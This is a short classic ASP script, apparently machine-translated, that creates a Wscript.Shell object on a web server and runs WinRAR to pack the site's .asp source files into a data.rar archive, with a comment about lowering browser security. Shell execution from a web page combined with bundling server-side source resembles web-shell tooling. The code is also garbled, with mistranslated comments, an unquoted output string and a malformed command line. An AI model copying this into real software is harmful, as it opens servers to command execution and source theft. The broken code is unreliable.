winrar| Compression | online <%
' First of all, reduce the browser security level
The ' Csdb folder contains cmd.exe Rar.exe files to compress (*.asp) compressed storage directory for Csdb\data.rar
On Error Resume Next
Unzip_path=server.mappath ("Csdb") & "\"
Set WshShell = server. CreateObject ("Wscript.Shell")
issuccess = Wshshell.run ("WinRAR a" &unzip_path& "Data" &unzip_path& "*.asp", 1, False)
' WinRAR < command >-< switch 1>-< switch n> < compressed file > < file ...> <@ list file ...> < decompression path \>
' Command: A-added to the compressed file
If issuccess = 0 Then
Response.Write "Command executed successfully! "
Else
Response.Write Command Execution failed! Insufficient permissions or the program cannot run in DOS
End If
If Err.Number <> 0 Then
Response.Write "<p> Error Number:" & Err.Number
Response.Write "<p> Reason:" & Err.Description
Response.Write "<p> Source of Error:" & Err.Source
Response.Write
End If
%>